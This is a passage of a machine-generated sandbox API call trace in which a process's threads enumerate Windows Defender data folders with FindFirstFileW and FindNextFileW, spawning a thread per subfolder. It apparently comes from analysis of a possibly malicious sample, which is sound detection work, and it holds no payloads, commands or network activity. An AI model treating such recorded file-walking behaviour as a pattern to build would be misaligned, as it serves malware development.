ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.486] wcscmp (_String1="..", _String2=".") returned 1 [0173.486] wcscmp (_String1="..", _String2="..") returned 0 [0173.486] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0173.486] FindClose (in: hFindFile=0x2f80660 | out: hFindFile=0x2f80660) returned 1 [0173.486] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30224b8) returned 1 [0173.486] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedc58) returned 1 [0173.486] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedfa0) returned 1 [0173.486] RtlExitUserThread (Status=0x0) Thread: id = 2123 os_tid = 0x1214 [0173.488] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x78) returned 0x2f8b310 [0173.488] wcscpy (in: _Dest=0x2f8b310, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store" [0173.488] wcscat (in: _Dest=0x2f8b310, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store\\" [0173.488] wcscat (in: _Dest=0x2f8b310, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store\\*" [0173.488] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30224b8 [0173.488] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store\\*", lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0173.490] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30224b8) returned 1 [0173.491] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b310) returned 1 [0173.491] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b890) returned 1 [0173.491] RtlExitUserThread (Status=0x0) Thread: id = 2124 os_tid = 0x1218 [0173.492] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x86) returned 0x2f827d8 [0173.492] wcscpy (in: _Dest=0x2f827d8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" [0173.492] wcscat (in: _Dest=0x2f827d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\" [0173.492] wcscat (in: _Dest=0x2f827d8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\*" [0173.492] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30224b8 [0173.492] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\*", lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb2ba2529, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb2ba2529, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80660 [0173.494] wcscmp (_String1=".", _String2=".") returned 0 [0173.494] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb2ba2529, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb2ba2529, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.494] wcscmp (_String1="..", _String2=".") returned 1 [0173.494] wcscmp (_String1="..", _String2="..") returned 0 [0173.494] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d6ec5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1 [0173.494] wcscmp (_String1="Backup", _String2=".") returned 1 [0173.494] wcscmp (_String1="Backup", _String2="..") returned 1 [0173.494] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fcfd18 [0173.494] wcscpy (in: _Dest=0x2fcfd18, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" [0173.494] wcscat (in: _Dest=0x2fcfd18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\" [0173.494] wcscat (in: _Dest=0x2fcfd18, _Source="Backup" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup" [0174.133] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fcfd18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618 [0174.134] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc26252c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0174.134] wcscmp (_String1="Default", _String2=".") returned 1 [0174.134] wcscmp (_String1="Default", _String2="..") returned 1 [0174.134] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x92) returned 0x2fa2638 [0174.134] wcscpy (in: _Dest=0x2fa2638, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" [0174.134] wcscat (in: _Dest=0x2fa2638, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\" [0174.134] wcscat (in: _Dest=0x2fa2638, _Source="Default" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" [0174.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa2638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0 [0174.135] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisBackup", cAlternateFileName="NISBAC~1")) returned 1 [0174.135] wcscmp (_String1="NisBackup", _String2=".") returned 1 [0174.135] wcscmp (_String1="NisBackup", _String2="..") returned 1 [0174.135] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fa2bd8 [0174.135] wcscpy (in: _Dest=0x2fa2bd8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" [0174.135] wcscat (in: _Dest=0x2fa2bd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\" [0174.135] wcscat (in: _Dest=0x2fa2bd8, _Source="NisBackup" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup" [0174.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa2bd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0174.136] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 1 [0174.136] wcscmp (_String1="Updates", _String2=".") returned 1 [0174.136] wcscmp (_String1="Updates", _String2="..") returned 1 [0174.136] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x92) returned 0x2fa3358 [0174.136] wcscpy (in: _Dest=0x2fa3358, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" [0174.136] wcscat (in: _Dest=0x2fa3358, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\" [0174.136] wcscat (in: _Dest=0x2fa3358, _Source="Updates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates" [0174.136] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa3358, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0174.136] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 0 [0174.136] FindClose (in: hFindFile=0x2f80660 | out: hFindFile=0x2f80660) returned 1 [0174.137] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30224b8) returned 1 [0174.137] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f827d8) returned 1 [0174.137] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82988) returned 1 [0174.137] RtlExitUserThread (Status=0x0) Thread: id = 2125 os_tid = 0x121c [0173.495] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x72) returned 0x2f8b310 [0173.495] wcscpy (in: _Dest=0x2f8b310, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features" [0173.495] wcscat (in: _Dest=0x2f8b310, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features\\" [0173.495] wcscat (in: _Dest=0x2f8b310, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features\\*" [0173.495] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022720 [0173.495] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features\\*", lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0173.495] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022720) returned 1 [0173.496] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b310) returned 1 [0173.496] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0173.496] RtlExitUserThread (Status=0x0) Thread: id = 2126 os_tid = 0x1220 [0173.497] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2f8b310 [0173.497] wcscpy (in: _Dest=0x2f8b310, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy" [0173.497] wcscat (in: _Dest=0x2f8b310, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\" [0173.497] wcscat (in: _Dest=0x2f8b310, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\*" [0173.497] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022720 [0173.497] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\*", lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0173.498] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022720) returned 1 [0173.498] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b310) returned 1 [0173.498] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96cd8) returned 1 [0173.498] RtlExitUserThread (Status=0x0) Thread: id = 2127 os_tid = 0x1224 [0173.499] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x2fa23b8 [0173.499] wcscpy (in: _Dest=0x2fa23b8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System" [0173.499] wcscat (in: _Dest=0x2fa23b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\" [0173.499] wcscat (in: _Dest=0x2fa23b8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\*" [0173.499] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022720 [0173.499] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\*", lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0173.500] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022720) returned 1 [0173.500] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa23b8) returned 1 [0173.500] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcf988) returned 1 [0173.500] RtlExitUserThread (Status=0x0) Thread: id = 2128 os_tid = 0x1228 [0173.502] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x72) returned 0x2f8b310 [0173.502] wcscpy (in: _Dest=0x2f8b310, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform" [0173.502] wcscat (in: _Dest=0x2f8b310, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform\\" [0173.502] wcscat (in: _Dest=0x2f8b310, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform\\*" [0173.502] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022720 [0173.502] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform\\*", lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc262a040, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f806a0 [0173.502] wcscmp (_String1=".", _String2=".") returned 0 [0173.502] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc262a040, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.502] wcscmp (_String1="..", _String2=".") returned 1 [0173.502] wcscmp (_String1="..", _String2="..") returned 0 [0173.502] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc262a040, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0173.502] FindClose (in: hFindFile=0x2f806a0 | out: hFindFile=0x2f806a0) returned 1 [0173.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022720) returned 1 [0173.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b310) returned 1 [0173.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96eb8) returned 1 [0173.503] RtlExitUserThread (Status=0x0) Thread: id = 2129 os_tid = 0x122c [0173.521] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x76) returned 0x2f8b310 [0173.521] wcscpy (in: _Dest=0x2f8b310, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine" [0173.521] wcscat (in: _Dest=0x2f8b310, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\" [0173.521] wcscat (in: _Dest=0x2f8b310, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\*" [0173.521] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022720 [0173.521] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\*", lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0173.522] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022720) returned 1 [0173.522] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b310) returned 1 [0173.522] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8bb10) returned 1 [0173.522] RtlExitUserThread (Status=0x0) Thread: id = 2130 os_tid = 0x1230 [0173.523] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x30132d8 [0173.523] wcscpy (in: _Dest=0x30132d8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0173.523] wcscat (in: _Dest=0x30132d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0173.523] wcscat (in: _Dest=0x30132d8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\*" [0173.523] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022720 [0173.523] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\*", lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0173.523] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022720) returned 1 [0173.523] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30132d8) returned 1 [0173.523] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f604a0) returned 1 [0173.523] RtlExitUserThread (Status=0x0) Thread: id = 2131 os_tid = 0x1234 [0173.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30132d8 [0173.527] wcscpy (in: _Dest=0x30132d8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support" [0173.527] wcscat (in: _Dest=0x30132d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\" [0173.527] wcscat (in: _Dest=0x30132d8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\*" [0173.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022720 [0173.527] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\*", lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0173.527] 